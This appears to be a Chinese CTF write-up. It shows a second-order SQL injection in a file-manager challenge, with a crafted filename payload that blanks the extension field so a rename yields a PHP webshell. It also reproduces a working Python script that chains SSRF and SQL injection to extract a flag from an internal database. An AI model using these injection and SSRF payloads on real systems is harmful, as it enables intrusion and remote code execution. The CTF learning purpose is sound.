filemanager
考察点:二次注入+代码审计能力
老规矩–>直接进行扫描
发觉存在的目录有
发觉一个www.tar.gz文件
又结合网页中的上传功能
猜到这道题的思路可能是利用这个泄露文件审计其中的代码后,进行成功上传
获取到getshell
于是下载下来看看,开始审计代码
审计了一波
upload.php
发觉
①文件中只能具有这五类文件,否则就可会回显错误类状况–>利用in_array命令实现对比的作用
②当文件已经存在后,会回复文件已存在的状况特点
③利用move_uploaded_file将上传的文件的名字和路径更改掉,且向文件中插入了文件的路径与名称类
发觉可能可以构造sql语句然后到rename中执行状况特点
原因:
这里oldname='{$result['filename']}' 将从数据库里查出的$result['filename']再一次入库,结果造成一个二次注入。
rename.php文件分析后
filename=$req['oldname']
是从数据库查询输入的oldname是否在于filename字段,然后进行update修改
oldname={$result['filename']}
将之前从数据库中查询出的filename更新到oldname当中,再次入库造成二次注入
可以通过sql注入,影响其extension为空,再修改文件时加上.php后缀
绕过file_exists()只需要再次上传一个与数据库当中filename的值相同的文件名即可
执行过程
①新建一个空文件
',extension='.jpg
②改名为upload.jpg
即将’,extension='改为upload.jpg–>此时数据库中的特点
update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}"
③在上传upload.jpg
上传完后,在改名为upload.php即可getshell
即获得flag
理解–>大佬的文章理解在这里二次注入的导致原因状况特点类关系
最重要的就是后面这5行。 Oldname和newname,有几个特点:
后缀相同,都是$result['extension'] oldname的文件名来自数据库,newname的文件名来自用户输入 首先后缀相同这个特点,就导致getshell似乎难以完成,如果要getshell那么一定要将“非.php”后缀的文件重命名成“.php”的文件。后缀相同怎么重命名? 除非后缀为空! 所以我们的update型注入就开始派上用场了。通过update型注入,我们可以将数据库中extension字段的值改为空,同时也可以控制filename的值,那么等于说我能控制rename函数的两个参数的值,这样getshell就近在咫尺了。
但还有个坑,这里改名的时候检查了文件是否存在:if(file_exists($oldname))我虽然通过注入修改了filename的值,但我upload目录下上传的文件名是没有改的。 因为我利用注入将extension改为空了,那么实际上数据库中的filename总比文件系统中真是的文件名少一个后缀。 那么这里的file_exists就验证不过。怎么办? 简单啊,再次上传一个新文件,这个文件名就等于数据库里的filename的值就好了。
ics-02
目录扫描走起
且通过burp扫描也扫描到一些有意思的东西
打开扫描到的目录
获取到这两个有意思的东西
有点迷怎么做这道题,怀疑可能真的跟那个文档有关系
先放着吧
发觉大佬们的脚本
import requests
import random
import urllib
url = 'http://220.249.52.133:46108/download.php'
# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"
id = random.randint(1, 10000000)
d = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={"dl": d})
print(r.text)
upload
扫描后得到
应该有东西,但是读不出来